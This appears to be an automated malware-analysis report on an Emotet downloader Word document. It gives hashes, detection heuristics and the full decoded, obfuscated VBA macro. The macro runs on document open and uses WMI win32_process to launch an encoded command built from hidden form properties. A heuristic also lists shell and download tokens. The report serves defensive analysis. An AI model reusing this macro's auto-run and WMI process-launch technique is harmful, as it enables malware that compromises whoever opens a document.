Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5ae9e1e5fbf5c711…

MALICIOUS

Office (OOXML)

125.6 KB Created: 2020-02-03 13:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-20
MD5: e44564fd49d814138c8e1c555ec9fb86 SHA-1: a24ec77dc5de3e491f103d0b922563b3cc340860 SHA-256: 5ae9e1e5fbf5c711351688feba54b37f655399715116b4ebe89f335fa6255ccd
230 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7576415-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7576415-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Uysoutysduon = GetObject(DC + Imyuoapaczxyd)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8444 bytes
SHA-256: f03f1252f95db304cfca89ab09629434037e5052a79b3929c2d4002b6c138375
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kcqgtdgdlxjy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   dsm_ = "{Polo Trash Epo}"
un3s = (599)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 82
jsb_345 = (Ipkqeofhb)
jsb_6 = Aqhnjtvutw
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (474)
jsb_3445 = (541)
jsb_2345 = ("{Polo Trash Epo}")
Chgtpjcjwjk.Gqxgwsncn
End Sub

Attribute VB_Name = "Gbcplzwuciu"
Attribute VB_Base = "0{EDA3201C-572E-4A9F-B222-9A0C1FF055EE}{6C010E28-6FE5-405C-92ED-5687BA6DB762}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Chgtpjcjwjk"
Function Gqxgwsncn()
   dsm_ = "{Polo Trash Epo}"
un3s = (379)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 857
jsb_345 = (Ldhvwstevk)
jsb_6 = Itiifito
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (575)
jsb_3445 = (90)
jsb_2345 = ("{Polo Trash Epo}")
Yyelywmkui = "^348^288^836^234wi^348^288^836^234nm^348^288^836^234g^348^288^836^234mt^348^288^836^234" + ChrW(Gbcplzwuciu.Zoom + 15) + "^348^288^836^234:w^348^288^836^234in^348^288^836^23432^348^288^836^234_" + Gbcplzwuciu.Ikhitlsxmlrjb + "r^348^288^836^234oc^348^288^836^234e^348^288^836^234s^348^288^836^234s"
   dsm_ = "{Polo Trash Epo}"
un3s = (895)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 51
jsb_345 = (Uewubhwjsp)
jsb_6 = Kdqzsprsleed
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (8)
jsb_3445 = (700)
jsb_2345 = ("{Polo Trash Epo}")
Imyuoapaczxyd = Lwknppttx(Yyelywmkui)
   dsm_ = "{Polo Trash Epo}"
un3s = (338)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 506
jsb_345 = (Zafhnkmlvldym)
jsb_6 = Brssabnzx
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (524)
jsb_3445 = (784)
jsb_2345 = ("{Polo Trash Epo}")
Set Uysoutysduon = GetObject(DC + Imyuoapaczxyd)
   dsm_ = "{Polo Trash Epo}"
un3s = (978)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 305
jsb_345 = (Ncqsatpltrxm)
jsb_6 = Oafgeheojqsws
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (373)
jsb_3445 = (490)
jsb_2345 = ("{Polo Trash Epo}")
Nfiiclpcmh = Gbcplzwuciu.Erdubmvseizxx.Tag
   dsm_ = "{Polo Trash Epo}"
un3s = (114)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 690
jsb_345 = (Daktpnthecsf)
jsb_6 = Eqbvygbdvupti
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (176)
jsb_3445 = (949)
jsb_2345 = ("{Polo Trash Epo}")
Yrkqqfweacx = Imyuoapaczxyd + ChrW(Int(wdKeyS)) + Gbcplzwuciu.Naaanhkk.Tag + Nfiiclpcmh
   dsm_ = "{Polo Trash Epo}"
un3s = (971)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 261
jsb_345 = (Oebetniupuy)
jsb_6 = Yunxguprdz
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (350)
jsb_3445 = (950)
jsb_2345 = ("{Polo Trash Epo}")
Yafxkxzrljcw = Yrkqqfweacx + Gbcplzwuciu.Ikhitlsxmlrjb
   dsm_ = "{Polo Trash Epo}"
un3s = (506)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 205
jsb_345 = (Ezyvltyirm)
jsb_6 = Dugfjpgxr
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (315)
jsb_3445 = (329)
jsb_2345 = ("{Polo Trash Epo}")
Set Tcczuutmzrl = Civevegts(Yafxkxzrljcw)
   dsm_ = "{Polo Trash Epo}"
un3s = (185)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 898
jsb_345 = (Grokbivtzvk)
jsb_6 = Wrqpnmrhiwov
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (407)
jsb_3445 = (47)
jsb_2345 = ("{Polo Trash Epo}")
Call Uysoutysduon. _
Create(JOP + Hcbanhiu + NSD, Xvitmpyd, Tcczuutmzrl, Yohxocgxpung, Mmxvdhzmqiv, Tqlrqmshhslzx)
   dsm_ = "{Polo Trash Epo}"
un3s = (180)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 459
jsb_345 = (Oluveawsxn)
jsb_6 = Iqernkjcmyiig
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (127)
jsb_3445 = (313)
jsb_2345 = ("{Polo Trash Epo}")
End Function
Function Civevegts(Elstpqut)
   dsm_ = "{Polo Trash Epo}"
un3s = (93)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 891
jsb_345 = (Dpuoraarb)
jsb_6 = Rkjtfyqxqg
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (772)
jsb_3445 = (717)
jsb_2345 = ("{Polo Trash Epo}")
Set Civevegts = GetObject(Elstpqut)
   dsm_ = "{Polo Trash Epo}"
un3s = (503)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 422
jsb_345 = (Ldcdcjkisbfv)
jsb_6 = Fakxzlpwdfadb
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (563)
jsb_3445 = (359)
jsb_2345 = ("{Polo Trash Epo}")
Civevegts. _
showwindow = Kjnqmrgzsc + Tmyzbxemh
   dsm_ = "{Polo Trash Epo}"
un3s = (415)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 364
jsb_345 = (Pmzmagvzhmz)
jsb_6 = Znswguvjs
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (803)
jsb_3445 = (5)
jsb_2345 = ("{Polo Trash Epo}")
End Function
Function Lwknppttx(Fzbgtnwvot)
   dsm_ = "{Polo Trash Epo}"
un3s = (124)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 499
jsb_345 = (Ofylkxwrn)
jsb_6 = Umfvrvvcrz
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (350)
jsb_3445 = (562)
jsb_2345 = ("{Polo Trash Epo}")
Lwknppttx = VBA.Join(Split(Fzbgtnwvot, "^348^288^836^234"), NoLineBreakAfter)
   dsm_ = "{Polo Trash Epo}"
un3s = (292)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 224
jsb_345 = (Lgsfwkvusnaeg)
jsb_6 = Pfwgoyrww
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (358)
jsb_3445 = (643)
jsb_2345 = ("{Polo Trash Epo}")
End Function
Function Hcbanhiu()
   dsm_ = "{Polo Trash Epo}"
un3s = (137)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 774
jsb_345 = (Leurrkhdeipc)
jsb_6 = Hrpzkqivozrz
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (699)
jsb_3445 = (585)
jsb_2345 = ("{Polo Trash Epo}")
oIP = "     -e      "
Wkkgcbykgmzrt = ChrW(Int(wdKeyP))
   dsm_ = "{Polo Trash Epo}"
un3s = (480)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 765
jsb_345 = (Tdkgwmvp)
jsb_6 = Roggnryhuqa
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (792)
jsb_3445 = (718)
jsb_2345 = ("{Polo Trash Epo}")
Yyfnvacv = Wkkgcbykgmzrt + Gbcplzwuciu.Cisojeaoxnsy.ControlTipText + oIP
   dsm_ = "{Polo Trash Epo}"
un3s = (101)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 71
jsb_345 = (Jwjbouupcc)
jsb_6 = Hczaaanl
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (299)
jsb_3445 = (229)
jsb_2345 = ("{Polo Trash Epo}")
sjw = Gbcplzwuciu.Evcauzaz.Pages(0).Caption
   dsm_ = "{Polo Trash Epo}"
un3s = (669)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 361
jsb_345 = (Fgevitpf)
jsb_6 = Ajwehkea
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (958)
jsb_3445 = (744)
jsb_2345 = ("{Polo Trash Epo}")
Hcbanhiu = Lwknppttx(Yyfnvacv + StrReverse(sjw))
   dsm_ = "{Polo Trash Epo}"
un3s = (563)
jsb_24 = ("{Polo Trash Epo}")
jsb_23 = 993
jsb_345 = (Kdoimvjsn)
jsb_6 = Cbquzlgwzi
jsb_43 = ("{Polo Trash Epo}")
jsb_82 = "{Polo Trash Epo}"
jsb_2 = ("{Polo Trash Epo}")
jsb_847 = "{Polo Trash Epo}"
jsb_99 = (267)
jsb_3445 = (332)
jsb_2345 = ("{Polo Trash Epo}")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49664 bytes
SHA-256: 0592e339a420f315421e0fe32c07d55ef1b8eed56c0661ce71e42a54338a0be6
Detection
ClamAV: Doc.Downloader.Emotet-7576415-0
Obfuscation or payload: unlikely